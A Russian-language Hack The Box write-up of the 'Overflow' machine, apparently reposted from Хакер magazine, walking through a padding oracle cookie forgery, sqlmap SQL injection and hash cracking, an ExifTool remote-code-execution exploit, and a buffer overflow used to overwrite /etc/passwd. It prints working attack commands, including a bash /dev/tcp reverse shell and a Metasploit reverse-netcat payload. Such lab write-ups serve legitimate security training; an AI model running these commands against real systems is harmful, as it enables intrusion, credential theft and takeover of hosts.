Хакер - HTB Overflow. Упражняемся в атаке padding oracle и эксплуатируем баг в ExifTool

Хакер - HTB Overflow. Упражняемся в атаке padding oracle и эксплуатируем баг в ExifTool

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Сканирование веб-контента
  • Точка входа
  • Padding oracle
  • SQL Injection
  • Точка опоры
  • Продвижение
  • Пользователь developer
  • Пользователь tester
  • Локальное повышение привилегий
  • Анализ приложения
  • Получение ПИН-кода
  • Переполнение буфера
  • Перезапись файла

В этой статье я покажу, как про­водить ата­ку padding oracle и экс­плу­ати­ровать сай­ты через SQL-инъ­екцию. Затем мы получим дос­туп к машине через уяз­вимость в ExifTool и повысим при­виле­гии на хос­те через перепол­нение буфера в поль­зователь­ском при­ложе­нии.

По­лиго­ном нам пос­лужит Overflow — машина с пло­щад­ки Hack The Box, оце­нен­ная как слож­ная. Ее про­хож­дение дей­стви­тель­но ока­залось нес­коль­ко запутан­ным.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts, что­бы было удоб­нее обра­щать­ся к ней:

10.10.11.119 overflow.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 7.6p1;
  • 25 — служ­ба Postfix SMTP;
  • 80 — веб‑сер­вер Apache 2.4.29.

К SSH дос­тупа мы пока не име­ем, что делать с SMTP-сер­вером на дан­ном эта­пе, тоже неяс­но, поэто­му прос­матри­ваем веб.

Глав­ная стра­ница overflow.htb

На сай­те дос­тупна регис­тра­ция и авто­риза­ция. Выпол­ним оба дей­ствия, что­бы получить дос­туп к новым фун­кци­ям. Пос­ле регис­тра­ции и вхо­да на панели сай­та появят­ся новые ссыл­ки на нас­трой­ки про­филя, а так­же какие‑то темати­чес­кие статьи.

Стра­ница Profile
Стра­ница Blog

Сканирование веб-контента

Ни­чего инте­рес­ного не обна­ружив, я решил прос­каниро­вать катало­ги и сай­ты. Это поможет нам най­ти скры­тый адми­нис­тра­тором кон­тент.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке мож­но задать сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

На­бира­ем коман­ду

ffuf -u http://overflow.htb/home/FUZZ -t 256 -w php_files_common.txt

Ре­зуль­тат ска­ниро­вания PHP-фай­лов с помощью ffuf

Мы наш­ли файл logs.php. Так­же я прос­каниро­вал кор­невой каталог сай­та и получил допол­нитель­но дирек­торию config, которая пока что нам ничего не дает.

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

При попыт­ке зап­росить содер­жимое logs.php получа­ем сооб­щение, что нам зак­рыт дос­туп.

Стра­ница logs.php

ТОЧКА ВХОДА

Пе­рехо­дим к более глу­боко­му ана­лизу тех­нологий сай­та. И обра­тим вни­мание на стран­ную пос­ледова­тель­ность в cookie — auth.

Пе­рех­вачен­ный зап­рос на сер­вер

Я поп­робовал про­вер­нуть раз­ные манипу­ляции с этой стро­кой: декоди­рова­ние, час­тичное изме­нение, допол­нение и уре­зание. В резуль­тате я нат­кнул­ся на код отве­та 302 и редирект на стра­ницу logot.php с парамет­ром err=1.

От­вет сер­вера
Зап­рос пос­ле редирек­та

От­крыв эту стра­ницу в бра­узе­ре, обна­ружим сооб­щение «Invalid padding», что сра­зу натал­кива­ет на мысль об ата­ке padding oracle.

Со­обще­ние об ошиб­ке

Padding oracle

Это ата­ка на шиф­рование CBC, при котором сооб­щение раз­бива­ется на бло­ки дли­ной X бай­тов и каж­дый блок ксо­рит­ся с пре­дыду­щим зашиф­рован­ным бло­ком. Затем резуль­тат шиф­рует­ся. Что очень важ­но, шиф­рование выпол­няет­ся бло­ками фик­сирован­ного раз­мера.

Что­бы гаран­тировать точ­ное раз­мещение откры­того тек­ста в одном или нес­коль­ких бло­ках, час­то исполь­зует­ся допол­нение (padding). Это допол­нение может быть выпол­нено нес­коль­кими спо­соба­ми (самый рас­простра­нен­ный — PKCS7). В PKCS7 допол­нение будет сос­тоять из одно­го и того же чис­ла: количес­тва недос­тающих бай­тов.

Нап­ример, если в откры­том тек­сте отсутс­тву­ют два бай­та, то запол­нение будет <wbr>x02<wbr>x02. Суть ата­ки зак­люча­ется в том, что мы, манипу­лируя дан­ными и получая информа­цию о вер­ности допол­нения, можем вскрыть весь исходный текст.

WWW

Под­робнее о padding oracle attack в статье на «Хаб­рахаб­ре»: часть 1часть 2.

Для работы будем исполь­зовать скрипт PadBuster. Я перере­гис­три­ровал поль­зовате­ля, получил куки и ука­зал их это­му чудо‑скрип­ту для работы.

padbuster http://overflow.htb/home/index.php Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX 8 -cookies auth=Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX

За­пуск PadBuster

Нас про­сят выб­рать вари­ант отве­та, уве­дом­ляющий об ошиб­ке допол­нения. Рекомен­дован тре­тий вари­ант, его и ука­зыва­ем.

Вскры­тие исходно­го тек­ста

В ито­ге мы получа­ем откры­тый текст, зашиф­рован­ный в cookie: user=ralf. Теперь мы понима­ем фор­мат дан­ных для аутен­тифика­ции. Сер­вер рас­шифро­выва­ет куки и опре­деля­ет текуще­го поль­зовате­ля. Но эта ата­ка помога­ет не толь­ко вскрыть зашиф­рован­ные дан­ные, но и заново зашиф­ровать свои! Так мы можем ука­зать PadBuster, что нуж­но зашиф­ровать подоб­ную стро­ку для поль­зовате­ля Admin.

padbuster http://overflow.htb/home/index.php Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX 8 -cookies auth=Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX -plaintext "user=Admin"

Но­вые переза­шиф­рован­ные дан­ные

Спус­тя некото­рое вре­мя мы получим куки, при­менив которые под­клю­чим­ся от име­ни адми­нис­тра­тора. На сай­те нам ста­новит­ся дос­тупна адми­нис­тра­тив­ная панель, с которой мы можем получить дос­туп к CMS Made Simple и най­ден­ным ранее логам.

Фор­ма авто­риза­ции Made Simple

Так как никаких учет­ных дан­ных у нас нет, нуж­но про­верить сущес­тву­ющие экс­пло­иты, а для это­го узнать вер­сию про­дук­та. Исходни­ки Made Simple откры­ты, и мож­но под­смот­реть путь к фай­лу с опи­сани­ем обновле­ний: /doc/CHANGELOG.txt.

Вер­сия Made Simple

В этом фай­ле пос­ледней упо­мина­ется вер­сия 2.2.8. Ути­лита searchsploit для поис­ка экс­пло­итов в базе Exploit-DB помога­ет най­ти PoC экс­плу­ата­ции SQL Injection для вер­сии мень­ше 2.2.10.

searchsploit 'CMS made simple'

searchsploit -p php/webapps/46635.py

По­иск экс­пло­итов с помощью searchsploit

Но про­экс­плу­ати­ровать уяз­вимость не выходит, поэто­му перей­дем к логам.

Ло­ги сай­та

В самих логах ничего полез­ного не находим. Одна­ко если пос­мотреть на зап­рос в Burp, то сам спо­соб зап­роса прив­лека­ет вни­мание.

Зап­рос логов в Burp

Стра­ница logs.php при­нима­ет параметр name, а это новая точ­ка вхо­да!

SQL Injection

Я веду нес­коль­ко сло­варей, содер­жащих раз­ные пос­ледова­тель­нос­ти‑триг­геры для раз­ных уяз­вимос­тей. На сло­варе для опре­деле­ния инъ­екций SQL у меня опре­дели­лось нес­коль­ко видов отве­тов.

Burp Intruder — вклад­ка Payload Positions
Ре­зуль­тат перебо­ра

Что­бы рас­кру­тить уяз­вимость, вос­поль­зуем­ся sqlmap. Ука­зыва­ем получен­ные ранее cookie, а тес­тиру­емое мес­то — сим­волом *.

sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA

Оп­ределе­ние наг­рузки для экс­плу­ата­ции

Sqlmap нашел уяз­вимый зап­рос, поэто­му поп­робу­ем дос­тать инте­рес­ные дан­ные. Пер­вым делом получим спи­сок баз дан­ных (параметр --dbs).

sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA --dbs

Спи­сок баз дан­ных

Ло­ги нам неин­терес­ны, слу­жеб­ная база — тоже, а вот cmsmsdb — это база дан­ных Made Simple. Она дол­жна содер­жать учет­ные дан­ные. Получим спи­сок таб­лиц (параметр --tables) из этой базы (параметр -D).

sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb --tables

Спи­сок таб­лиц

Нас инте­ресу­ет таб­лица cms_users. Выводим все содер­жимое (параметр --dump) из этой таб­лицы (параметр -T).

sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb -T cms_users --dump

Со­дер­жимое таб­лицы cms_users

По­луча­ем два хеша поль­зователь­ских паролей. Теперь поп­робу­ем их кряк­нуть. Made Simple исполь­зует хеширо­вание MD5 с солью по схе­ме md5(salt + pass) (для hashcat это режим 20). Соль мы можем получить как sitemask из таб­лицы cms_siteprefs.

sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb -T cms_siteprefs --dump

Соль для хеша MD5

Хеш и соль нуж­но записать в файл в фор­мате hash:salt, пос­ле чего отдать его на перебор в hashcat, который очень быс­тро вер­нет нам пароль поль­зовате­ля editor.

hashcat -a 0 -m 20 hashes rockyou.txt

Ре­зуль­тат перебо­ра хешей

Учет­ные дан­ные помога­ют авто­ризо­вать­ся в Made Simple.

Глав­ная стра­ница CMS Made Simple

По­гуляв по сай­ту, находим новый домен. А это новая точ­ка вхо­да!

Стра­ница User Defined Tags

ТОЧКА ОПОРЫ

Но­вый домен сра­зу добав­ляем в файл /etc/hosts.

10.10.11.119 overflow.htb devbuild-job.overflow.htb

Фор­ма авто­риза­ции Overflow Devbuild

Ра­зоб­рать­ся с фор­мой авто­риза­ции нам помога­ют учет­ные дан­ные поль­зовате­ля editor. Нам откры­вает­ся какой‑то магазин дизай­на при­ложе­ний. И пер­вым делом я отпра­вил­ся искать воз­можность что‑то изме­нить в нас­трой­ках акка­унта в надеж­де най­ти оче­ред­ную точ­ку вхо­да.

Глав­ная стра­ница веб‑при­ложе­ния

В про­филе есть воз­можность заг­рузить резюме — то, что нуж­но! Попыт­ки залить раз­ные наг­рузки успе­хом не увен­чались, так как фор­ма при­нима­ет толь­ко фай­лы TIFF и JPEG.

Фор­ма заг­рузки резюме

Од­нако потом я решил гля­нуть, что пред­лага­ет мне Burp, и нашел в отве­те вывод ExifTool вер­сии 11.02.

От­вет сер­вера

Так как мы зна­ем вер­сию прог­раммы, нуж­но сра­зу про­верить наличие задоку­мен­тирован­ных экс­пло­итов.

По­иск экс­пло­итов в Google

Мы тут же получа­ем CVE-иден­тифика­тор уяз­вимос­ти, которая может дать нам уда­лен­ное выпол­нение кода. Оно воз­можно, пос­коль­ку при обра­бот­ке изоб­ражения не филь­тру­ются поль­зователь­ские дан­ные, что поз­воля­ет нам записать в качес­тве этих дан­ных наг­рузку. Для этой уяз­вимос­ти есть даже готовый бил­дер в Metasploit Framework:

exploit/unix/fileformat/exiftool_djvu_ant_perl_injection

Вы­бира­ем в качес­тве наг­рузки реверс‑шелл Unix и ука­зыва­ем адрес хос­та и порт, на котором запущен лис­тенер (запус­каем коман­дой rlwrap -cAr nc -lvp 4321).

msfconole -q

use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection

set payload cmd/unix/reverse_netcat

set LHOST 10.10.14.17

set LPORT 4321

Ге­нери­рова­ние изоб­ражения с наг­рузкой

За­сыла­ем кар­тинку и тут же получа­ем бэк­коннект от сер­вера.

Ло­ги лис­тенера

ПРОДВИЖЕНИЕ

Пользователь developer

Так как на хос­те раз­вернут веб‑сер­вер, а на нем работа­ет нес­коль­ко веб‑при­ложе­ний, то пер­вое наше дей­ствие — поп­робовать получить учет­ные дан­ные поль­зовате­лей. Высока веро­ятность того, что эти логины и пароли подой­дут для каких‑то поль­зовате­лей в сис­теме. К тому же был каталог content, имен­но в нем мы и находи­ли файл с учет­ными дан­ными для под­клю­чения к базе дан­ных.

Со­дер­жимое фай­ла db.php

От име­ни поль­зовате­ля developer под­клю­чаем­ся по SSH.

Сес­сия поль­зовате­ля developer

Пользователь tester

Как показы­вает коман­да id, наш поль­зователь сос­тоит в груп­пе network. Это не какая‑то умол­чатель­ная нас­трой­ка.

Для сбо­ра информа­ции с машины я исполь­зовал скрипт LinPEAS. С его помощью опре­деля­ем, что чле­ны груп­пы network име­ют пра­во записи в файл /etc/hosts, а так­же текуще­му поль­зовате­лю раз­решен запуск фай­ла /opt/commontask.sh, вла­дель­цем которо­го явля­ется tester.

Фай­лы, дос­тупные для записи
Фай­лы со спис­ком дос­тупа

Прос­мотрим содер­жимое фай­ла /opt/commontask.sh.

Со­дер­жимое фай­ла commontask.sh

Этот скрипт ска­чива­ет файл task.sh с адре­са taskmanage.overflow.htb и выпол­няет с помощью bash. Дело в том, что хост не зна­ет это­го име­ни и не может его зарезол­вить, но мы можем записать его в файл /etc/hosts на уда­лен­ном хос­те, а в качес­тве адре­са ука­зать свой хост.

Со­дер­жимое фай­ла /etc/hosts

Соз­даем на сво­ем веб‑сер­вере скрипт task.sh, куда записы­ваем обыч­ный реверс‑шелл:

bash -i >& /dev/tcp/10.10.14.7/4321 0>&1`

В течение минуты получа­ем бэк­коннект.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Сре­ди фай­лов со спис­ком дос­тупа, обна­ружен­ных с помощью LinPEAS, был и /opt/file_encrypt. Он может запус­кать­ся поль­зовате­лем tester от име­ни рута. В этой дирек­тории я обна­ружил сооб­щение, в котором говорит­ся о том, что нуж­но обра­тить вни­мание на фун­кцию про­вер­ки ПИН‑кода.

Со­дер­жимое катало­га /opt/file_encrypt
Тес­товый запуск при­ложе­ния

Ска­чива­ем при­ложе­ние на локаль­ную машину, что­бы хорошень­ко раз­ревер­сить и понять, что в нем про­исхо­дит. Для ана­лиза при­ложе­ния я исполь­зовал IDA Pro с деком­пилято­ром Hex-Rays.

Анализ приложения

Итак, в фун­кции main кро­ме вызова фун­кции check_pin боль­ше ничего не про­исхо­дит.

Фун­кция main

В фун­кции check_pin генери­рует­ся псев­дослу­чай­ное чис­ло (стро­ка 8), затем оно переда­ется в фун­кцию random для даль­нейших пре­обра­зова­ний (стро­ка 9). ПИН‑код счи­тыва­ется из кон­соли и срав­нива­ется с пре­обра­зован­ным ран­домным зна­чени­ем (стро­ки 11–13). Далее счи­тыва­ется имя и выводит­ся сооб­щение (стро­ки 14–16).

Фун­кция check_pin
Фун­кция random

Сра­зу обоз­начим сле­дующее:

  • сге­нери­рован­ное «ран­домное» чис­ло всег­да будет одним и тем же при каж­дом запус­ке прог­раммы, так как не исполь­зует­ся ини­циали­зация ран­домай­зера;
  • дли­на буфера v1 — 20 байт, при этом дли­на счи­тыва­емой стро­ки не про­веря­ется. Таким обра­зом, мы име­ем перепол­нение буфера.

В спис­ке фун­кций най­дем еще одну, которая ниг­де не вызыва­ется, — фун­кция encrypt.

Спи­сок фун­кций
Про­вер­ка ссы­лок на фун­кцию encrypt

В начале фун­кции у нас зап­рашива­ют два фай­ла (стро­ки 35–50). Затем выпол­няет­ся посим­воль­ное чте­ние из пер­вого фай­ла, XOR с сим­волом 0x9B и запись во вто­рой файл (стро­ки 52–78).

Фун­кция encrypt

Та­ким обра­зом мы можем заранее зашиф­ровать файл с клю­чом 0x9B, а затем переза­писать любой файл в сис­теме. При пов­торном шиф­ровании в прог­рамме он будет рас­шифро­ван. Оста­лось выз­вать фун­кцию encrypt, для чего нуж­но получить ПИН и перепол­нить буфер.

Получение ПИН-кода

Что­бы узнать ПИН‑код, я решил прос­то запус­тить при­ложе­ние в отладчи­ке и получить его зна­чение пос­ле выпол­нения фун­кции random (резуль­тат в регис­тре EAX).

По­луче­ние ПИН‑кода

Так как пер­вый байт (0xf3) боль­ше, чем 0x7f, то наше чис­ло будет пред­став­лено как отри­цатель­ное. То есть нам нуж­но из получен­ного зна­чения вычесть 0x100000000, вый­дет -202976456 — это и есть наш ПИН.

Переполнение буфера

В тес­тирова­нии перепол­нения буфера очень помога­ют генера­торы пос­ледова­тель­нос­тей де Брёй­на (непов­торя­ющих­ся цепочек сим­волов). Они к тому же помога­ют точ­но вычис­лить сме­щение, по которо­му мы можем переза­писы­вать в сте­ке адрес воз­вра­та из фун­кции. Сге­нери­ровать такую пос­ледова­тель­ность мож­но, к при­меру, с помощью незаме­нимо­го pwntools. Сге­нери­руем стро­ку дли­ной 200 сим­волов.

Ге­нери­рова­ние пос­ледова­тель­нос­ти де Брёй­на

Те­перь переда­дим ее в качес­тве име­ни нашему при­ложе­нию и пос­мотрим, на каком адре­се вылетит прог­рамма.

Ошиб­ка выпол­нения прог­раммы

Так, 0x6161616c соот­ветс­тву­ет пос­ледова­тель­нос­ти laaa. Получим сме­щение в пос­ледова­тель­нос­ти.

По­луче­ние сме­щения

Вы­ходит, до адре­са фун­кции encrypt мы дол­жны передать 44 бай­та. Оста­лось получить адрес фун­кции. Для это­го запус­каем прог­рамму на уда­лен­ном хос­те через отладчик GDB, запус­каем прог­рамму (коман­да r), пос­ле чего посыла­ем сиг­нал завер­шения (Ctrl-C) и прос­матри­ваем фун­кцию encrypt (коман­да disas encrypt). Иско­мый адрес — 0x5655585b.

По­луче­ние адре­са фун­кции encrypt

Что удоб­но, адрес пол­ностью сос­тоит из печата­емых сим­волов.

Наг­рузка для перепол­нения буфера

Пос­ле запус­ка прог­раммы вво­да ПИН‑кода и наг­рузки, перепол­няющей буфер, у нас спра­шива­ют путь к фай­лу. Таким обра­зом нам уда­лось перей­ти к фун­кции encrypt.

Про­вер­ка получен­ных зна­чений

Перезапись файла

Сна­чала я хотел переза­писать файл authorized_keys, что­бы потом под­клю­чить­ся по SSH, но ничего не выш­ло. Тог­да я решил переза­писать файл /etc/passwd. Добавим туда нового поль­зовате­ля с высоки­ми при­виле­гиями. Но сна­чала зашиф­руем пароль это­го поль­зовате­ля.

Шиф­рование пароля нового поль­зовате­ля

За­тем ско­пиру­ем содер­жимое фай­ла /etc/passwd в файл /tmp/passwd и добавим в конец стро­ку, отве­чающую за нашего поль­зовате­ля.

До­бав­ление записи в /tmp/passwd

Те­перь прок­сорим этот файл.

src = open("/tmp/passwd", "rb").read()

dst = open("/tmp/passwd.n", "wb")

for i in src:

dst.write(bytes([i^0x9b]))

И ука­жем эти фай­лы в прог­рамме.

Экс­плу­ата­ция уяз­вимос­ти

Прог­рамма рух­нула, но свою задачу выпол­нила. Оста­лось прос­то сме­нить поль­зовате­ля и заб­рать флаг рута.

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page